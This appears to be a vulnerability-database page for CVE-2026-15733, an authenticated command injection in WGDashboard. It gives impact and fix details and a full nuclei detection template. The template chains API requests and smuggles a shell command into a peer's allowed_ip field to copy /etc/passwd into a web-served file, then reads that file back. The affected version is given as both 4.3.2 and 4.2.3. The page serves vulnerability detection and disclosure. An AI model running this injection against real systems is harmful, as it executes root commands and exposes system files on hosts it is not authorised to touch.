HexBrain

Browse / CVEs / CVE-2026-15733

CVE-2026-15733· wgdashboard / wgdashboard· CWE-78

WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read

criticalseverity
9.8CVSS score
10%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

WGDashboard <= 4.2.3 contains a command injection caused by multiple OS command injection points, letting authenticated attackers execute arbitrary commands as root.

Impact

Authenticated attackers can execute arbitrary commands as root, leading to full system compromise.

Fix

Update to the latest version beyond 4.2.3.

How to confirm it

Send: POST /api/authenticate
Positive when: status_code == 200 and contains(body, "\"status\":true")
Send: GET /api/getWireguardConfigurations
Positive when: status_code == 200 and len(config_name) > 0
Send: POST /api/addPeers/{{config_name}}
Positive when: status_code == 200 and len(peer_id) > 0
Send: POST /api/updatePeerSettings/{{config_name}}
Positive when: status_code == 200
Send: GET /static/app/dist/{{probe}}.txt
Positive when: status_code == 200 and contains(body, "root:") && contains(body, ":/bin/")

Run it with nuclei: nuclei -id CVE-2026-15733 -u <target>

The full check
id: CVE-2026-15733

info:
  name: WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read
  author: str4k3r,0x_Akoko
  severity: critical
  description: |
    WGDashboard <= 4.2.3 contains a command injection caused by multiple OS command injection points, letting authenticated attackers execute arbitrary commands as root.
  impact: |
    Authenticated attackers can execute arbitrary commands as root, leading to full system compromise.
  remediation: |
    Update to the latest version beyond 4.2.3.
  reference:
    - https://github.com/Stuub/WGDashboard-v4.3.2-OS-Command-Injection-to-Root-RCE-PoC
    - https://github.com/WGDashboard/WGDashboard
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15733
  classification:
    cve-id: CVE-2026-15733
    epss-score: 0.1002
    epss-percentile: 0.95651
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-request: 5
    product: wgdashboard
    vendor: wgdashboard
  tags: cve,cve2026,wgdashboard,rce,cmdi,authenticated,intrusive

variables:
  username: ""
  password: ""
  probe: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        POST /api/authenticate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":true")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/getWireguardConfigurations HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(config_name) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: config_name
        part: body
        group: 1
        internal: true
        regex:
          - '"Name":"([^"]+)"'

  - raw:
      - |
        POST /api/addPeers/{{config_name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"probe-{{probe}}","allowed_ips":[],"preshared_key_bulkAdd":false}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(peer_id) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: peer_id
        part: body
        group: 1
        internal: true
        regex:
          - '"id":"([^"]+)"'

  - raw:
      - |
        POST /api/updatePeerSettings/{{config_name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":"{{peer_id}}","name":"probe-{{probe}}","private_key":"","DNS":"1.1.1.1","allowed_ip":"10.253.253.253/32;cp${IFS}/etc/passwd${IFS}static/app/dist/{{probe}}.txt;","endpoint_allowed_ip":"0.0.0.0/0","preshared_key":"","mtu":1420,"keepalive":21,"notes":""}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /static/app/dist/{{probe}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:") && contains(body, ":/bin/")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from